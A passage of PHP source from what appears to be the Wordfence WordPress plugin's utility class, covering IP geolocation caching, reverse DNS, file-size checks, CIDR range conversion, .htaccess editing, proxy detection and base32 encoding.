		$locsTable = wfDB::networkTable('wfLocs');
		$IPLocs = array();
		foreach($IPs as $IP){
			$isBinaryIP = !self::isValidIP($IP);
			if ($isBinaryIP) {
				$ip_printable = wfUtils::inet_ntop($IP);
				$ip_bin = $IP;
			} else {
				$ip_printable = $IP;
				$ip_bin = wfUtils::inet_pton($IP);
			}
			
			$ipHex = wfDB::binaryValueToSQLHex($ip_bin);
			$row = $db->querySingleRec("select IP, ctime, failed, city, region, countryName, countryCode, lat, lon, unix_timestamp() - ctime as age from " . $locsTable . " where IP={$ipHex}");
			if($row){
				if($row['age'] > WORDFENCE_MAX_IPLOC_AGE){
					$ipHex = wfDB::binaryValueToSQLHex($row['IP']);
					$db->queryWrite("delete from " . $locsTable . " where IP={$ipHex}");
				} else {
					if($row['failed'] == 1){
						$IPLocs[$ip_printable] = false;
					} else {
						$row['IP'] = self::inet_ntop($row['IP']);
						$row['region'] = wfUtils::shouldDisplayRegion($row['countryName']) ? $row['region'] : '';
						$IPLocs[$ip_printable] = $row;
					}
				}
			}
			if(! isset($IPLocs[$ip_printable])){
				$toResolve[] = $ip_printable;
			}
		}
		if(sizeof($toResolve) > 0){
			if (wfConfig::get('enableRemoteIpLookup', true)) {
				$api = new wfAPI(wfConfig::get('apiKey'), wfUtils::getWPVersion());
				try {
					$freshIPs = $api->call('resolve_ips', array(), array(
						'ips' => implode(',', $toResolve)
						));
				} catch(Exception $e){
					wordfence::status(2, 'error', sprintf(/* translators: Error message. */ __("Call to Wordfence API to resolve IPs failed: %s", 'wordfence'), $e->getMessage()));
					return array();
				}
			}
			else {
				require_once(__DIR__ . '/wfIpLocator.php');
				$locator = wfIpLocator::getInstance();
				$freshIPs = array();
				$locale = get_locale();
				foreach ($toResolve as $ip) {
					$record = $locator->locate($ip);
					if ($record !== null) {
						$countryCode = $record->getCountryCode();
						if ($countryCode !== null) {
							$countryName = $record->getCountryName($locale);
							if ($countryName === null)
								$countryName = $countryCode;
							$freshIPs[$ip] = array($countryCode, $countryName);
							continue;
						}
					}
					$freshIPs[$ip] = 'failed';
				}
			}
			if(is_array($freshIPs)){
				foreach($freshIPs as $IP => $value){
					$IP_bin = wfUtils::inet_pton($IP);
					$ipHex = wfDB::binaryValueToSQLHex($IP_bin);
					if($value == 'failed'){
						$db->queryWrite("insert IGNORE into " . $locsTable . " (IP, ctime, failed) values ({$ipHex}, unix_timestamp(), 1)");
						$IPLocs[$IP] = false;
					} else if(is_array($value)){
						for($i = 0; $i <= 5; $i++){
							//Prevent warnings in debug mode about uninitialized values
							if(! isset($value[$i])){ $value[$i] = ''; }
						}
						$db->queryWrite("insert IGNORE into " . $locsTable . " (IP, ctime, failed, city, region, countryName, countryCode, lat, lon) values ({$ipHex}, unix_timestamp(), 0, '%s', '%s', '%s', '%s', %s, %s)",
							$value[3], //city
							$value[2], //region
							$value[1], //countryName
							$value[0],//countryCode
							$value[4],//lat
							$value[5]//lon
							);
						$IPLocs[$IP] = array(
							'IP' => $IP,
							'city' => $value[3],
							'region' => wfUtils::shouldDisplayRegion($value[1]) ? $value[2] : '',
							'countryName' => $value[1],
							'countryCode' => $value[0],
							'lat' => $value[4],
							'lon' => $value[5]
							);
					}
				}
			}
		}
		return $IPLocs;
	}

	public static function reverseLookup($IP) {
		static $_memoryCache = array();
		if (isset($_memoryCache[$IP])) {
			return $_memoryCache[$IP];
		}
		
		$db = new wfDB();
		$reverseTable = wfDB::networkTable('wfReverseCache');
		$IPn = wfUtils::inet_pton($IP);
		$ipHex = wfDB::binaryValueToSQLHex($IPn);
		$host = $db->querySingle("select host from " . $reverseTable . " where IP={$ipHex} and unix_timestamp() - lastUpdate < %d", WORDFENCE_REVERSE_LOOKUP_CACHE_TIME);
		if (!$host) {
			// This function works for IPv4 or IPv6
			if (function_exists('gethostbyaddr')) {
				$host = @gethostbyaddr($IP);
			}
			if (!$host) {
				$ptr = false;
				if (filter_var($IP, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) !== false) {
					$ptr = implode(".", array_reverse(explode(".", $IP))) . ".in-addr.arpa";
				} else if (filter_var($IP, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== false) {
					$ptr = implode(".", array_reverse(str_split(bin2hex($IPn)))) . ".ip6.arpa";
				}

				if ($ptr && function_exists('dns_get_record')) {
					$host = @dns_get_record($ptr, DNS_PTR);
					if ($host && is_array($host) && count($host)) {
						$host = wfUtils::array_get($host[0], 'target');
					}
				}
			}
			$_memoryCache[$IP] = $host;
			if (!$host) {
				$host = 'NONE';
			}
			$db->queryWrite("insert into " . $reverseTable . " (IP, host, lastUpdate) values ({$ipHex}, '%s', unix_timestamp()) ON DUPLICATE KEY UPDATE host='%s', lastUpdate=unix_timestamp()", $host, $host);
		}
		if ($host == 'NONE') {
			$_memoryCache[$IP] = '';
			return '';
		} else {
			$_memoryCache[$IP] = $host;
			return $host;
		}
	}
	public static function errorsOff(){
		self::$lastErrorReporting = @ini_get('error_reporting');
		@error_reporting(0);
		self::$lastDisplayErrors = @ini_get('display_errors');
		self::iniSet('display_errors', 0);
		if(class_exists('wfScan')){ wfScan::$errorHandlingOn = false; }
	}
	public static function errorsOn(){
		@error_reporting(self::$lastErrorReporting);
		self::iniSet('display_errors', self::$lastDisplayErrors);
		if(class_exists('wfScan')){ wfScan::$errorHandlingOn = true; }
	}
	//Note this function may report files that are too big which actually are not too big but are unseekable and throw an error on fseek(). But that's intentional
	public static function fileTooBig($file, &$size = false, &$handle = false){ //Deals with files > 2 gigs on 32 bit systems which are reported with the wrong size due to integer overflow
		if (!@is_file($file) || !@is_readable($file)) { return false; } //Only apply to readable files
		wfUtils::errorsOff();
		$fh = @fopen($file, 'rb');
		wfUtils::errorsOn();
		if(! $fh){ return false; }
		try {
			if(@fseek($fh, WORDFENCE_MAX_FILE_SIZE_OFFSET, SEEK_SET) === 0 && !empty(fread($fh, 1))){
				return true;
			} //Otherwise we couldn't seek there so it must be smaller
			if ($size !== false && @fseek($fh, 0, SEEK_END) === 0) {
				$size = @ftell($fh);
				if ($size === false)
					$size = 0; // Assume 0 if unable to determine file size
			}
			return false;
		} catch(Exception $e){
			return true; //If we get an error don't scan this file, report it's too big.
		} finally {
			if ($handle === false) {
				fclose($fh);
			}
			else {
				$handle = $fh;
			}
		}
	}
	public static function fileOver2Gigs($file){ //Surround calls to this func with try/catch because fseek may throw error.
		$fh = @fopen($file, 'rb');
		if(! $fh){ return false; }
		$offset = 2147483647;
		$tooBig = false;
		//My throw an error so surround calls to this func with try/catch
		if(@fseek($fh, $offset, SEEK_SET) === 0){
			if(strlen(fread($fh, 1)) === 1){
				$tooBig = true;
			}
		} //Otherwise we couldn't seek there so it must be smaller
		@fclose($fh);
		return $tooBig;
	}
	public static function countryCode2Name($code){
		require(dirname(__FILE__) . '/wfBulkCountries.php'); /** @var array $wfBulkCountries */
		if(isset($wfBulkCountries[$code])){
			return $wfBulkCountries[$code];
		} else {
			return '';
		}
	}
	public static function shouldDisplayRegion($country) {
		$countries_to_show_for = array('united states', 'canada', 'australia');
		return in_array(strtolower($country), $countries_to_show_for);
	}
	public static function extractBareURI($URL){
		$URL = preg_replace('/^https?:\/\/[^\/]+/i', '', $URL); //strip of method and host
		$URL = preg_replace('/\#.*$/', '', $URL); //strip off fragment
		$URL = preg_replace('/\?.*$/', '', $URL); //strip off query string
		return $URL;
	}
	public static function requireIpLocator() {
		/**
		 * This is also used in the WAF so in certain site setups (i.e. nested sites in subdirectories)
		 * it's possible for this to already have been loaded from a different installation of the
		 * plugin and hence require_once doesn't help as it's a different file path. There is no guarantee
		 * that the two plugin installations are the same version, so should the wfIpLocator class or any
		 * of its dependencies change in a manner that is not backwards compatible, this may need to be
		 * handled differently.
		 */
		if (!class_exists('wfIpLocator'))
			require_once(__DIR__ . '/wfIpLocator.php');
	}
	public static function IP2Country($ip){
		self::requireIpLocator();
		return wfIpLocator::getInstance()->getCountryCode($ip);
	}
	public static function geoIPVersion() {
		self::requireIpLocator();
		$version = wfIpLocator::getInstance()->getDatabaseVersion();
		return $version === null ? 0 : $version;
	}
	public static function siteURLRelative(){
		if(is_multisite()){
			$URL = network_site_url();
		} else {
			$URL = site_url();
		}
		$URL = preg_replace('/^https?:\/\/[^\/]+/i', '', $URL);
		$URL = rtrim($URL, '/') . '/';
		return $URL;
	}
	public static function localHumanDate(){
		return date('l jS \of F Y \a\t h:i:s A', time() + (3600 * get_option('gmt_offset')));
	}
	public static function localHumanDateShort(){
		return date('D jS F \@ h:i:sA', time() + (3600 * get_option('gmt_offset')));
	}
	public static function funcEnabled($func){
		if (!function_exists($func)){ return false; }
		if (!is_callable($func)) { return false; }
		$disabled = explode(',', ini_get('disable_functions'));
		if (in_array($func, $disabled)) {
			return false;
		}
		return true;
	}
	public static function iniSet($key, $val){
		if(self::funcEnabled('ini_set')){
			@ini_set($key, $val);
		}
	}
	public static function doNotCache(){
		header("Pragma: no-cache");
		header("Cache-Control: no-cache, must-revalidate, private, max-age=0");
		header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); //In the past
		if(! defined('DONOTCACHEPAGE')){ define('DONOTCACHEPAGE', true); }
		if(! defined('DONOTCACHEDB')){ define('DONOTCACHEDB', true); }
		if(! defined('DONOTCDN')){ define('DONOTCDN', true); }
		if(! defined('DONOTCACHEOBJECT')){ define('DONOTCACHEOBJECT', true); }
		wfCache::doNotCache();
	}
	public static function isUABlocked($uaPattern){ // takes a pattern using asterisks as wildcards, turns it into regex and checks it against the visitor UA returning true if blocked
		return fnmatch($uaPattern, !empty($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '', FNM_CASEFOLD);
	}
	public static function isRefererBlocked($refPattern){
		return fnmatch($refPattern, !empty($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '', FNM_CASEFOLD);
	}
	
	public static function error_clear_last() {
		if (function_exists('error_clear_last')) {
			error_clear_last();
		}
		else {
			// set error_get_last() to defined state by forcing an undefined variable error
			set_error_handler('wfUtils::_resetErrorsHandler', 0);
			@$undefinedVariable;
			restore_error_handler();
		}
	}
	
	/**
	 * Logs the error given or the last PHP error to our log, rate limiting if needed.
	 * 
	 * @param string $limiter_key
	 * @param string $label
	 * @param null|string $error The error to log. If null, it will be the result of error_get_last
	 * @param int $rate Logging will only occur once per $rate seconds.
	 */
	public static function check_and_log_last_error($limiter_key, $label, $error = null, $rate = 3600 /* 1 hour */) {
		if ($error === null) {
			$error = error_get_last();
			if ($error === null) {
				return;
			}
			else if ($error['file'] === __FILE__) {
				return;
			}
			$error = $error['message'];
		}
		
		$rateKey = 'lastError_rate_' . $limiter_key;
		$previousKey = 'lastError_prev_' . $limiter_key;
		$previousError = wfConfig::getJSON($previousKey, array(0, false));
		if ($previousError[1] != $error) {
			if (wfConfig::getInt($rateKey) < time() - $rate) {
				wfConfig::set($rateKey, time());
				wfConfig::setJSON($previousKey, array(time(), $error));
				wordfence::status(2, 'error', $label . ' ' . $error);
			}
		}
	}
	
	public static function last_error($limiter_key) {
		$previousKey = 'lastError_prev_' . $limiter_key;
		$previousError = wfConfig::getJSON($previousKey, array(0, false));
		if ($previousError[1]) {
			return wfUtils::formatLocalTime(get_option('date_format') . ' ' . get_option('time_format'), $previousError[0]) . ': ' . $previousError[1];
		}
		return false;
	}
	
	public static function _resetErrorsHandler($errno, $errstr, $errfile, $errline) {
		//Do nothing
	}

	/**
	 * @param $startIP
	 * @param $endIP
	 * @return array
	 */
	public static function rangeToCIDRs($startIP, $endIP){
		$start_ip_printable = wfUtils::inet_ntop($startIP);
		if (filter_var($start_ip_printable, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
			return self::rangeToCIDRsIPv4(current(unpack('N', substr($startIP, 12, 4))), current(unpack('N', substr($endIP, 12, 4))));
		}
		$startIPBin = str_pad(wfHelperBin::bin2str($startIP), 128, '0', STR_PAD_LEFT);
		$endIPBin = str_pad(wfHelperBin::bin2str($endIP), 128, '0', STR_PAD_LEFT);
		$IPIncBin = $startIPBin;
		$CIDRs = array();
		while (strcmp($IPIncBin, $endIPBin) <= 0) {
			$longNetwork = 128;
			$IPNetBin = $IPIncBin;
			while (($IPIncBin[$longNetwork - 1] == '0') && (strcmp(substr_replace($IPNetBin, '1', $longNetwork - 1, 1), $endIPBin) <= 0)) {
				$IPNetBin[$longNetwork - 1] = '1';
				$longNetwork--;
			}
			$CIDRs[] = self::inet_ntop(str_pad(wfHelperBin::str2bin($IPIncBin), 16, "\x00", STR_PAD_LEFT)) . ($longNetwork < 128 ? '/' . $longNetwork : '');
			$IPIncBin = str_pad(wfHelperBin::bin2str(wfHelperBin::addbin2bin(chr(1), wfHelperBin::str2bin($IPNetBin))), 128, '0', STR_PAD_LEFT);
		}
		return $CIDRs;
	}

	public static function rangeToCIDRsIPv4($startIP, $endIP){
		$startIPBin = sprintf('%032b', $startIP);
		$endIPBin = sprintf('%032b', $endIP);
		$IPIncBin = $startIPBin;
		$CIDRs = array();
		while(strcmp($IPIncBin, $endIPBin) <= 0){
			$longNetwork = 32;
			$IPNetBin = $IPIncBin;
			while(($IPIncBin[$longNetwork - 1] == '0') && (strcmp(substr_replace($IPNetBin, '1', $longNetwork - 1, 1), $endIPBin) <= 0)){
				$IPNetBin[$longNetwork - 1] = '1';
				$longNetwork--;
			}
			$CIDRs[] = long2ip(bindec($IPIncBin)) . ($longNetwork < 32 ? '/' . $longNetwork : '');
			$IPIncBin = sprintf('%032b', bindec($IPNetBin) + 1);
		}
		return $CIDRs;
	}
	
	/**
	 * This is a convenience function for sending a JSON response and ensuring that execution stops after sending
	 * since wp_die() can be interrupted.
	 * 
	 * @param $response
	 * @param int|null $status_code
	 */
	public static function send_json($response, $status_code = null) {
		wp_send_json($response, $status_code);
		die();
	}

	public static function setcookie($name, $value = '', $expire = 0, $path = '', $domain = '', $secure = false, $httpOnly = false) {
		if (empty($path)) { $path = COOKIEPATH; }
		if (empty($domain)) { $domain = COOKIE_DOMAIN; }
		if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
			setcookie($name, $value, $expire, $path, $domain, $secure, $httpOnly);
		}
		else {
			setcookie($name, $value, $expire, $path);
		}
	}
	public static function isNginx(){
		$sapi = php_sapi_name();
		$serverSoft = $_SERVER['SERVER_SOFTWARE'];
		if($sapi == 'fpm-fcgi' && stripos($serverSoft, 'nginx') !== false){
			return true;
		}
	}
	public static function getLastError(){
		$err = error_get_last();
		if(is_array($err)){
			return $err['message'];
		}
		return '';
	}
	public static function hostNotExcludedFromProxy($url){
		if(! defined('WP_PROXY_BYPASS_HOSTS')){
			return true; //No hosts are excluded
		}
		$hosts = explode(',', WP_PROXY_BYPASS_HOSTS);
		$url = preg_replace('/^https?:\/\//i', '', $url);
		$url = preg_replace('/\/.*$/', '', $url);
		$url = strtolower($url);
		foreach($hosts as $h){
			if(strtolower(trim($h)) == $url){
				return false;
			}
		}
		return true;
	}
	public static function hasXSS($URL){
		if(! preg_match('/^https?:\/\/[a-z0-9\.\-]+\/[^\':<>\"\\\]*$/i', $URL)){
			return true;
		} else {
			return false;
		}
	}

	/**
	 * @param string $host
	 * @return array
	 */
	public static function resolveDomainName($host, $ipVersion = null) {
		if (!function_exists('dns_get_record')) {
			if ($ipVersion === 4 || $ipVersion === null) {
				$ips = gethostbynamel($host);
				if ($ips !== false)
					return $ips;
			}
			return array();
		}
		$recordTypes = array();
		if ($ipVersion === 4 || $ipVersion === null)
			$recordTypes[DNS_A] = 'ip';
		if ($ipVersion === 6 || $ipVersion === null)
			$recordTypes[DNS_AAAA] = 'ipv6';
		$ips = array();
		foreach ($recordTypes as $type => $key) {
			$records = @dns_get_record($host, $type);
			if ($records !== false && is_array($records)) {
				foreach ($records as $record) {
					if (array_key_exists($key, $record)) {
						$ips[] = $record[$key];
					}
				}
			}
		}
		return $ips;
	}

	/**
	 * Expand a compressed printable representation of an IPv6 address.
	 *
	 * @param string $ip
	 * @return string
	 */
	public static function expandIPv6Address($ip) {
		$hex = bin2hex(self::inet_pton($ip));
		$ip = substr(preg_replace("/([a-f0-9]{4})/i", "$1:", $hex), 0, -1);
		return $ip;
	}

	public static function set_html_content_type() {
		return 'text/html';
	}

	public static function htmlEmail($to, $subject, $body) {
		add_filter( 'wp_mail_content_type', 'wfUtils::set_html_content_type' );
		$result = wp_mail($to, $subject, $body);
		remove_filter( 'wp_mail_content_type', 'wfUtils::set_html_content_type' );
		return $result;
	}

	/**
	 * @param string $readmePath
	 * @return bool
	 */
	public static function hideReadme($readmePath = null) {
		if ($readmePath === null) {
			$readmePath = ABSPATH . 'readme.html';
		}

		if (file_exists($readmePath)) {
			$readmePathInfo = pathinfo($readmePath);
			require_once(ABSPATH . WPINC . '/pluggable.php');
			$hiddenReadmeFile = $readmePathInfo['filename'] . '.' . wp_hash('readme') . '.' . $readmePathInfo['extension'];
			return @rename($readmePath, $readmePathInfo['dirname'] . '/' . $hiddenReadmeFile);
		}
		return false;
	}

	/**
	 * @param string $readmePath
	 * @return bool
	 */
	public static function showReadme($readmePath = null) {
		if ($readmePath === null) {
			$readmePath = ABSPATH . 'readme.html';
		}
		$readmePathInfo = pathinfo($readmePath);
		require_once(ABSPATH . WPINC . '/pluggable.php');
		$hiddenReadmeFile = $readmePathInfo['dirname'] . '/' . $readmePathInfo['filename'] . '.' . wp_hash('readme') . '.' . $readmePathInfo['extension'];
		if (file_exists($hiddenReadmeFile)) {
			return @rename($hiddenReadmeFile, $readmePath);
		}
		return false;
	}

	public static function htaccessAppend($code)
	{
		$htaccess = wfCache::getHtaccessPath();
		$content  = self::htaccess();
		if (wfUtils::isNginx() || !is_writable($htaccess)) {
			return false;
		}

		if (strpos($content, $code) === false) {
			// make sure we write this once
			file_put_contents($htaccess, $content . "\n" . trim($code), LOCK_EX);
		}

		return true;
	}
	
	public static function htaccessPrepend($code)
	{
		$htaccess = wfCache::getHtaccessPath();
		$content  = self::htaccess();
		if (wfUtils::isNginx() || !is_writable($htaccess)) {
			return false;
		}
		
		if (strpos($content, $code) === false) {
			// make sure we write this once
			file_put_contents($htaccess, trim($code) . "\n" . $content, LOCK_EX);
		}
		
		return true;
	}

	public static function htaccess() {
		$htaccess = wfCache::getHtaccessPath();
		if (is_readable($htaccess) && !wfUtils::isNginx()) {
			return file_get_contents($htaccess);
		}
		return "";
	}

	/**
	 * @param array $array
	 * @param mixed $oldKey
	 * @param mixed $newKey
	 * @return array
	 * @throws Exception
	 */
	public static function arrayReplaceKey($array, $oldKey, $newKey) {
		$keys = array_keys($array);
		if (($index = array_search($oldKey, $keys)) === false) {
			throw new Exception(sprintf('Key "%s" does not exist', $oldKey));
		}
		$keys[$index] = $newKey;
		return array_combine($keys, array_values($array));
	}
	
	/**
	 * Takes a string that may have characters that will be interpreted as invalid UTF-8 byte sequences and translates them into a string of the equivalent hex sequence.
	 * 
	 * @param $string
	 * @param bool $inline
	 * @return string
	 */
	public static function potentialBinaryStringToHTML($string, $inline = false, $allowmb4 = false) {
		$output = '';
		
		if (!defined('ENT_SUBSTITUTE')) {
			define('ENT_SUBSTITUTE', 0);
		}
		
		$span = '<span class="wf-hex-sequence">';
		if ($inline) {
			$span = '<span style="color:#587ECB">';
		}
		
		for ($i = 0; $i < wfUtils::strlen($string); $i++) {
			$c = $string[$i];
			$b = ord($c);
			if ($b < 0x20) {
				$output .= $span . '\x' . str_pad(dechex($b), 2, '0', STR_PAD_LEFT) . '</span>';
			}
			else if ($b < 0x80) {
				$output .= htmlspecialchars($c, ENT_QUOTES, 'ISO-8859-1');
			}
			else { //Assume multi-byte UTF-8
				$bytes = 0;
				$test = $b;
				
				while (($test & 0x80) > 0) {
					$bytes++;
					$test = (($test << 1) & 0xff);
				}
				
				$brokenUTF8 = ($i + $bytes > wfUtils::strlen($string) || $bytes == 1);
				if (!$brokenUTF8) { //Make sure we have all the bytes
					for ($n = 1; $n < $bytes; $n++) {
						$c2 = $string[$i + $n];
						$b2 = ord($c2);
						if (($b2 & 0xc0) != 0x80) {
							$brokenUTF8 = true;
							$bytes = $n;
							break;
						}
					}
				}
				
				if (!$brokenUTF8) { //Ensure the byte sequences are within the accepted ranges: https://tools.ietf.org/html/rfc3629
					/*
					 * UTF8-octets = *( UTF8-char )
   					 * UTF8-char   = UTF8-1 / UTF8-2 / UTF8-3 / UTF8-4
   					 * UTF8-1      = %x00-7F
   					 * UTF8-2      = %xC2-DF UTF8-tail
   					 * UTF8-3      = %xE0 %xA0-BF UTF8-tail / %xE1-EC 2( UTF8-tail ) /
   					 *               %xED %x80-9F UTF8-tail / %xEE-EF 2( UTF8-tail )
   					 * UTF8-4      = %xF0 %x90-BF 2( UTF8-tail ) / %xF1-F3 3( UTF8-tail ) /
   					 *               %xF4 %x80-8F 2( UTF8-tail )
   					 * UTF8-tail   = %x80-BF
					 */
					
					$testString = wfUtils::substr($string, $i, $bytes);
					$regex = '/^(?:' .
						'[\xc2-\xdf][\x80-\xbf]' . //UTF8-2
						'|' . '\xe0[\xa0-\xbf][\x80-\xbf]' . //UTF8-3
						'|' . '[\xe1-\xec][\x80-\xbf]{2}' .
						'|' . '\xed[\x80-\x9f][\x80-\xbf]' .
						'|' . '[\xee-\xef][\x80-\xbf]{2}';
					if ($allowmb4) {
						$regex .= '|' . '\xf0[\x90-\xbf][\x80-\xbf]{2}' . //UTF8-4
							'|' . '[\xf1-\xf3][\x80-\xbf]{3}' .
							'|' . '\xf4[\x80-\x8f][\x80-\xbf]{2}';
					}
					$regex  .= ')$/';
					if (!preg_match($regex, $testString)) {
						$brokenUTF8 = true;
					}
				}
				
				if ($brokenUTF8) {
					$bytes = min($bytes, strlen($string) - $i);
					for ($n = 0; $n < $bytes; $n++) {
						$c2 = $string[$i + $n];
						$b2 = ord($c2);
						$output .= $span . '\x' . str_pad(dechex($b2), 2, '0', STR_PAD_LEFT) . '</span>';
					}
					$i += ($bytes - 1);
				}
				else {
					$output .= htmlspecialchars(wfUtils::substr($string, $i, $bytes), ENT_QUOTES | ENT_SUBSTITUTE, 'ISO-8859-1');
					$i += ($bytes - 1);
				}
			}
		}
		return $output;
	}
	
	public static function requestDetectProxyCallback($timeout = 2, $blocking = true, $forceCheck = false) {
		$currentRecommendation = wfConfig::get('detectProxyRecommendation', '');
		if (!$forceCheck) {
			$detectProxyNextCheck = wfConfig::get('detectProxyNextCheck', false);
			if ($detectProxyNextCheck !== false && time() < $detectProxyNextCheck) {
				if (empty($currentRecommendation)) {
					wfConfig::set('detectProxyRecommendation', 'DEFERRED', wfConfig::DONT_AUTOLOAD);
				}
				return; //Let it pull the currently-stored value
			}
		}

		try {
			$waf = wfWAF::getInstance();
			if ($waf->getStorageEngine()->getConfig('attackDataKey', false) === false) {
				$waf->getStorageEngine()->setConfig('attackDataKey', mt_rand(0, 0xfff));
			}
			$response = wp_remote_get(sprintf(WFWAF_API_URL_SEC . "proxy-check/%d.txt", $waf->getStorageEngine()->getConfig('attackDataKey')), array('headers' => array('Referer' => false)));
			
			if (!is_wp_error($response)) {
				$okToSendBody = wp_remote_retrieve_body($response);
				if (preg_match('/^(ok|wait),\s*(\d+)$/i', $okToSendBody, $matches)) {
					$command = $matches[1];
					$ttl = $matches[2];
					if ($command == 'wait') {
						wfConfig::set('detectProxyNextCheck', time() + $ttl, wfConfig::DONT_AUTOLOAD);
						if (empty($currentRecommendation) || $currentRecommendation == 'UNKNOWN') {
							wfConfig::set('detectProxyRecommendation', 'DEFERRED', wfConfig::DONT_AUTOLOAD);
						}
						return;
					}
					
					wfConfig::set('detectProxyNextCheck', time() + $ttl, wfConfig::DONT_AUTOLOAD);
				}
				else { //Unknown response
					wfConfig::set('detectProxyNextCheck', false, wfConfig::DONT_AUTOLOAD);
					if (empty($currentRecommendation) || $currentRecommendation == 'UNKNOWN') {
						wfConfig::set('detectProxyRecommendation', 'DEFERRED', wfConfig::DONT_AUTOLOAD);
					}
					return;
				}
			}
		}
		catch (Exception $e) {
			return;
		}
		
		$nonce = bin2hex(wfWAFUtils::random_bytes(32));
		$callback = self::getSiteBaseURL() . '?_wfsf=detectProxy';
		
		wfConfig::set('detectProxyNonce', $nonce, wfConfig::DONT_AUTOLOAD);
		wfConfig::set('detectProxyRecommendation', '', wfConfig::DONT_AUTOLOAD);
		
		$payload = array(
			'nonce' => $nonce,
			'callback' => $callback,
		);
		
		$homeurl = wfUtils::wpHomeURL();
		$siteurl = wfUtils::wpSiteURL();
		
		try {
			$response = wp_remote_post(WFWAF_API_URL_SEC . "?" . http_build_query(array(
					'action' => 'detect_proxy',
					'k'      => wfConfig::get('apiKey'),
					's'      => $siteurl,
					'h'		 => $homeurl,
					't'		 => microtime(true),
					'lang'   => get_site_option('WPLANG'),
				), '', '&'),
				array(
					'body'    => json_encode($payload),
					'headers' => array(
						'Content-Type' => 'application/json',
						'Referer' => false,
					),
					'timeout' => $timeout,
					'blocking' => $blocking,
				));
		
			if (!is_wp_error($response)) {
				$jsonResponse = wp_remote_retrieve_body($response);
				$decoded = @json_decode($jsonResponse, true);
				if (is_array($decoded) && isset($decoded['data']) && is_array($decoded['data']) && isset($decoded['data']['ip']) && wfUtils::isValidIP($decoded['data']['ip'])) {
					wfConfig::set('serverIP', time() . ';' . $decoded['data']['ip']);
				}
			}
		}
		catch (Exception $e) {
			return;
		}
	}
	
	/**
	 * @return bool Returns false if the payload is invalid, true if it processed the callback (even if the IP wasn't found).
	 */
	public static function processDetectProxyCallback() {
		$nonce = wfConfig::get('detectProxyNonce', '');
		$testNonce = (isset($_POST['nonce']) ? $_POST['nonce'] : '');
		if (empty($nonce) || empty($testNonce)) {
			return false;
		}
		
		if (!hash_equals($nonce, $testNonce)) {
			return false;
		}
		
		$ips = (isset($_POST['ips']) ? $_POST['ips'] : array());
		if (empty($ips)) {
			return false;
		}
		
		$expandedIPs = array();
		foreach ($ips as $ip) {
			$expandedIPs[] = self::inet_pton($ip);
		}
		
		$checks = array('HTTP_CF_CONNECTING_IP', 'HTTP_X_REAL_IP', 'REMOTE_ADDR', 'HTTP_X_FORWARDED_FOR');
		foreach ($checks as $key) {
			if (!isset($_SERVER[$key])) {
				continue;
			}
			
			$testIP = self::getCleanIPAndServerVar(array(array($_SERVER[$key], $key)));
			if ($testIP === false) {
				continue;
			}
			
			$testIP = self::inet_pton($testIP[0]);
			if (in_array($testIP, $expandedIPs)) {
				wfConfig::set('detectProxyRecommendation', $key, wfConfig::DONT_AUTOLOAD);
				wfConfig::set('detectProxyNonce', '', wfConfig::DONT_AUTOLOAD);
				return true;
			}
		}
		
		wfConfig::set('detectProxyRecommendation', 'UNKNOWN', wfConfig::DONT_AUTOLOAD);
		wfConfig::set('detectProxyNonce', '', wfConfig::DONT_AUTOLOAD);
		return true;
	}
	
	/**
	 * Returns a v4 UUID.
	 * 
	 * @return string
	 */
	public static function uuid() {
		return sprintf('%04x%04x-%04x-%04x-%04x-%04x%04x%04x',
			// 32 bits for "time_low"
			wfWAFUtils::random_int(0, 0xffff), wfWAFUtils::random_int(0, 0xffff),
			
			// 16 bits for "time_mid"
			wfWAFUtils::random_int(0, 0xffff),
			
			// 16 bits for "time_hi_and_version",
			// four most significant bits holds version number 4
			wfWAFUtils::random_int(0, 0x0fff) | 0x4000,
			
			// 16 bits, 8 bits for "clk_seq_hi_res",
			// 8 bits for "clk_seq_low",
			// two most significant bits holds zero and one for variant DCE1.1
			wfWAFUtils::random_int(0, 0x3fff) | 0x8000,
			
			// 48 bits for "node"
			wfWAFUtils::random_int(0, 0xffff), wfWAFUtils::random_int(0, 0xffff), wfWAFUtils::random_int(0, 0xffff)
		);
	}
	
	public static function base32_encode($rawString, $rightPadFinalBits = false, $padFinalGroup = false, $padCharacter = '=') //Adapted from https://github.com/ademarre/binary-to-text-php
	{
		// Unpack string into an array of bytes
		$bytes = unpack('C*', $rawString);
		$byteCount = count($bytes);
		
		$encodedString = '';
		$byte = array_shift($bytes);
		$bitsRead = 0;
		$oldBits = 0;
		
		$chars             = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';
		$bitsPerCharacter  = 5;
		
		$charsPerByte = 8 / $bitsPerCharacter;
		$encodedLength = $byteCount * $charsPerByte;
		
		// Generate encoded output; each loop produces one encoded character
		for ($c = 0; $c < $encodedLength; $c++) {
			
			// Get the bits needed for this encoded character
			if ($bitsRead + $bitsPerCharacter > 8) {
				// Not enough bits remain in this byte for the current character
				// Save the remaining bits before getting the next byte
				$oldBitCount = 8 - $bitsRead;
				$oldBits = $byte ^ ($byte >> $oldBitCount << $oldBitCount);
				$newBitCount = $bitsPerCharacter - $oldBitCount;
				
				if (!$bytes) {
					// Last bits; match final character and exit loop
					if ($rightPadFinalBits) $oldBits <<= $newBitCount;
					$encodedString .= $chars[$oldBits];
					
					if ($padFinalGroup) {
						// Array of the lowest common multiples of $bitsPerCharacter and 8, divided by 8
						$lcmMap = array(1 => 1, 2 => 1, 3 => 3, 4 => 1, 5 => 5, 6 => 3, 7 => 7, 8 => 1);
						$bytesPerGroup = $lcmMap[$bitsPerCharacter];
						$pads = $bytesPerGroup * $charsPerByte - ceil((strlen($rawString) % $bytesPerGroup) * $charsPerByte);
						$encodedString .= str_repeat($padCharacter, $pads);
					}
					
					break;
				}
				
				// Get next byte
				$byte = array_shift($bytes);
				$bitsRead = 0;
				
			} else {
				$oldBitCount = 0;
				$newBitCount = $bitsPerCharacter;
			}
			
			// Read only the needed bits from this byte
			$bits = $byte >> 8 - ($bitsRead + ($newBitCount));
			$bits ^= $bits >> $newBitCount << $newBitCount;
			$bitsRead += $newBitCount;
			
			if ($oldBitCount) {
				// Bits come from seperate bytes, add $oldBits to $bits
				$bits = ($oldBits << $newBitCount) | $bits;
			}
			
			$encodedString .= $chars[$bits];
		}
